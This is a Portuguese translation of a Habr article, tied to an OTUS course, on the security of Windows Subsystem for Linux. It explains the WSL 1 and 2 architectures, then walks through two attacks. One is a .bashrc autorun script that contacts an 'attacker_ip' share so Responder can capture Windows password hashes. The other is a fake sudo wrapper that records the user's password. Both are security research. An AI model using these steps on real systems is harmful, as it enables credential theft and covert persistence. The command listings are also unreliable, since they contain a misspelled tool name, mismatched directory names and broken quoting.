Olá, Habr! Em outubro, a OTUS lançará uma nova turma do curso . Com a aproximação do início do curso, compartilhamos com vocês um artigo escrito por um de nossos professores — Alexandre Kolesnikov.
Em 2016, a Microsoft apresentou à comunidade de TI uma nova tecnologia chamada WSL (Windows Subsystem for Linux), que no futuro permitiu unir concorrentes até então irreconciliáveis, que competiam pela popularidade tanto entre usuários comuns quanto avançados dos sistemas operacionais: Windows e Linux. Essa tecnologia possibilitava o uso de ferramentas do Linux no ambiente Windows sem a necessidade de executar o Linux, por exemplo, através de dual boot (multi-boot). No Habr, você pode encontrar uma grande quantidade de artigos que descrevem as vantagens de usar o WSL. No entanto, infelizmente, no momento da criação deste artigo, não foram encontrados estudos sobre a segurança dessa simbiose de sistemas operacionais. Este post tentará corrigir isso. O artigo discutirá as particularidades das arquiteturas WSL 1 e 2, analisará alguns exemplos de ataques a sistemas que utilizam essas tecnologias. O artigo está dividido em 2 partes. Na primeira, serão apresentados os principais métodos teóricos de ataque provenientes do Linux e do Windows. A segunda parte incluirá a configuração do ambiente de teste e a reprodução dos ataques.
WSL 1: características da arquitetura
Para uma imersão mais precisa nos problemas de segurança do WSL, é necessário definir os principais nuances relacionadas à implementação da subsistema. Uma das principais tarefas do usuário que o WSL resolve é fornecer a capacidade de trabalhar com sistemas Linux através do terminal em um host com sistema operacional Windows. Além disso, a compatibilidade proposta era tão nativa que arquivos executáveis do Linux (ELF) podiam ser executados diretamente no sistema Windows. Para alcançar esses objetivos, uma subsistema especial foi criada no Windows 10, permitindo que aplicativos Linux fossem executados usando um conjunto específico de chamadas de sistema — assim, houve uma tentativa de mapear o conjunto de syscalls do Linux no Windows. Fisicamente, isso foi implementado através da adição de novos drivers e de um novo formato de processo. Visualmente, a arquitetura se parecia com isso:
Essencialmente, a interação com o sistema operacional Linux foi organizada por meio de vários módulos de núcleo e um tipo especial de processos — pico. A partir do esquema acima, é visível que o processo, executado em uma instância Linux no host, deve ser nativo e deve utilizar os mesmos recursos que os aplicativos Windows normais. Mas como alcançar isso? No projeto foram desenvolvidos conceitos de processos para Windows, que forneciam todos os componentes necessários do sistema operacional (dependendo da sua versão) para iniciar um aplicativo de outro SO.
Notamos que a abstração proposta permitia não depender do sistema operacional (em particular — Windows), onde se espera que um processo de outro SO seja executado, e propunha uma abordagem geral.
Assim, qualquer aplicativo dentro do processo pico poderia operar sem considerar o núcleo do Windows:
- Questões de compatibilidade e tradução de chamadas de sistema devem ser resolvidas por provedores especiais;
- O controle de acesso deve ser realizado através do Monitor de Segurança. O Monitor está localizado no núcleo e, portanto, o Windows precisava de uma atualização na forma de um novo driver, que poderia atuar como provedor para esses processos. O protótipo do processo pico é esquematicamente apresentado abaixo:
Como o sistema de arquivos Linux usa nomes de arquivos e diretórios sensíveis a maiúsculas e minúsculas, foram adicionados 2 tipos de sistemas de arquivos no Windows para trabalhar com WSL — VolFS e DriveFS. VolFS é uma implementação do sistema de arquivos Linux, enquanto DriveFS é um sistema de arquivos que opera sob as regras do Windows, mas tem a capacidade de escolher a sensibilidade a maiúsculas e minúsculas dos nomes.
WSL 2
O WSL 1 tinha uma série de limitações que impediam seu uso para resolver o máximo de tarefas: por exemplo, faltava a capacidade de executar aplicativos Linux de 32 bits, não era possível usar drivers de dispositivos. Portanto, em 2020, foi lançado o WSL 2, que mudou a abordagem de construção da subsistema. O WSL 2 é uma máquina virtual otimizada que corresponde às características do WSL 1 em termos de uso de recursos. Agora, dependendo dos problemas enfrentados pelo usuário do Windows, é possível escolher a versão necessária da subsistema para trabalhar com Linux. Para mitigar possíveis vulnerabilidades, o WSL 2 foi implementado sobre o Hyper-V no Windows 10. Nesta forma, o Windows tem a capacidade de executar isoladamente o núcleo do sistema operacional Linux. Vale lembrar que a versão 1 do WSL foi apresentada como um recurso beta, que deveria mostrar a direção de desenvolvimento do Windows nessa área, portanto, a transição para o Hyper-V foi inevitável. A arquitetura final é a seguinte:
Nesta versão, os núcleos dos sistemas Windows e Linux têm seus próprios recursos e a interseção existe apenas no sistema de arquivos, no entanto, essa interseção não pode ser chamada de completa. A interação entre os sistemas de arquivos é realizada através de uma camada cliente-servidor que opera sob o protocolo 9P.
Atualmente, a Microsoft oferece a opção de alternar entre WSL 1 e WSL 2. Ambas as versões estão disponíveis para uso.
Segurança do WSL
Atualmente, existem vários trabalhos que descrevem algumas abordagens para usar ferramentas legítimas do sistema operacional para atacar a interação entre subsistemas. Usaremos seus cenários para verificar a relevância dos ataques no momento da redação do artigo. Lista geral de ataques e cenários de execução:
1. Implementação do sistema de arquivos: permissões de acesso, presença de diretórios/comunicações compartilhadas.
As pesquisas foram realizadas para investigar a violação das regras de acesso das Linux FS->Windows FS, Windows FS->Linux FS. As pesquisas demonstraram a possibilidade de modificar um arquivo específico dentro do sistema operacional alvo. Também foram realizadas tentativas de substituição, criação de duplicatas e exclusão de partes dos sistemas de arquivos.
Cenário:
- A. Ataque a partir do sistema operacional Windows — modificação de arquivos do diretório /etc do sistema operacional Linux.
- B. Ataque a partir do sistema operacional Linux — modificação de arquivos nos diretórios:
C:Windows,C:Program Files,C:Users
2. Implementação da pilha de rede.
As investigações foram realizadas com exemplos de ataques do sistema operacional Linux ao Windows. Foram utilizadas características do funcionamento da pilha de rede, nomeadamente - mecanismos de autenticação em diversos recursos.
Cenário:
- Abertura de acesso à porta que está ocupada no sistema Windows
- Abertura da porta na ausência de direitos correspondentes
- Execução de reverse shell utilizando um arquivo elf no sistema operacional Windows.
3. Ocultação da execução de processos de software malicioso através do subsistema WSL.
As investigações foram baseadas em um fato simples - os subsistemas de proteção não podem capturar eventos em outro núcleo que opera utilizando um provedor legítimo do sistema operacional no caso do WSL 1. No caso do WSL 2, não há como visualizar eventos que ocorrem em um núcleo separado dentro de uma máquina virtual leve.
Cenário:
1) Execução de um aplicativo para acesso remoto ao sistema e visualização de eventos registrados.
Experimentos WSL 1: captura de hash (S.O. Windows)
Finalmente chegamos à parte prática. Para começar, é necessário configurar o ambiente para os testes. Todos os experimentos serão realizados em um ambiente com Windows 10 2004 instalado. Como imagem do sistema operacional para WSL, foi escolhida a imagem Ubuntu 18.04. A imagem foi escolhida aleatoriamente, e qualquer outra funcionará igualmente. Os comandos para configurar o ambiente:
Primeiro, você precisa executar powershell.exe como administrador.
Para WSL 1, é necessário executar os comandos:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Ativar a função WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Baixar a imagem do Linux da loja Microsoft
Após reiniciar o ambiente, você pode chamar o comando bash. Se tudo ocorreu corretamente, você verá aproximadamente essa saída no console do Windows:
Como máquina atacante, usaremos a distribuição Kali Linux, todas as máquinas devem estar na mesma rede local.
Suponha que temos acesso não privilegiado ao WSL em uma máquina Windows. Vamos tentar realizar um ataque ao sistema operacional Linux, invocando um comando do Linux. Para implementar o ataque, utilizaremos uma técnica simples de autoexecução — adicionaremos nosso script para execução no ambiente Linux. Para isso, precisamos modificar o arquivo .bashrc.
Na máquina com WSL, execute:
1. bash
2. Acesse o diretório home do usuário: cd /home/sam/
2. echo "\/home\/sam\/.attack.sh" >> .bashrc
3. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
4. chmod u+x .attack.sh
5. exitNa máquina Kali Linux, execute:
1. Responder -I eth0 -rdvwNa máquina Windows, inicie o bash.
Aguarde o resultado na máquina Kali Linux:
Assim, conseguimos os hashes do usuário Windows através da subsistema WSL, executando o comando no sistema Linux.
Experimentos WSL 1: recuperação da senha de usuário (OS Linux)
Vamos realizar mais um experimento. Durante esta verificação, complementaremos o arquivo .bashrc com alguns comandos para obter a senha do usuário do sistema operacional Linux.
Inicie o bash e insira os comandos:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "\/usr\/bin\/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Para a conclusão bem-sucedida do ataque, é necessário que o usuário Sam invoque o sudo no terminal Linux. Após isso, a senha do usuário do OS Linux estará no arquivo pass.txt:
A implementação dos ataques foi apresentada apenas para fins teóricos.
Na próxima parte do artigo, será descrita a implementação do protocolo 9P, a criação de um scanner para este protocolo, bem como a realização de um ataque utilizando-o.
Lista de literatura utilizada
Leia mais
Fonte: habr.com
